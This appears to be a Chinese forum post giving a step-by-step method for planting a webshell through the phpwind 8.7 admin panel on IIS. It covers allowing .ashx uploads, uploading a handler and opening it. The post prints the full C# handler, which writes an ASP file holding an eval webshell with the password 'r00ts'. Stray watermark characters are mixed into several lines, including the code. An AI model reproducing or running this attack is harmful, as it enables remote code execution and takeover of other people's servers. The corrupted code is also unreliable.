phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
# P- m. m1 y# R8 ?) l
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

* C; c, y8 E8 s# e# S7 T6 r7 A然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

2 l* ?( |% R6 _下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
  U5 s! {7 ]4 @. }7 ]: Eusing System;
" u3 F; Y. F! V6 dusing System.Web;
8 E6 v& h; S" l- ?using System.IO;
& g. `7 C% W, T+ c5 W& rpublic class Handler : IHttpHandler {
/ q: K/ w0 h3 M( }( \5 Upublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
% f, X% w' Q( m: Z" `7 Nfile1.Flush();
4 v$ \- w7 W; i. h9 J: S2 M9 A2 Lfile1.Close();
}
" {: J) r% t7 Y6 E: d& z, \public bool IsReusable {
9 A0 g) G6 r) }" Vget {
return false;
}
4 |4 ^) \3 s3 S1 }$ z* k7 N9 j}
}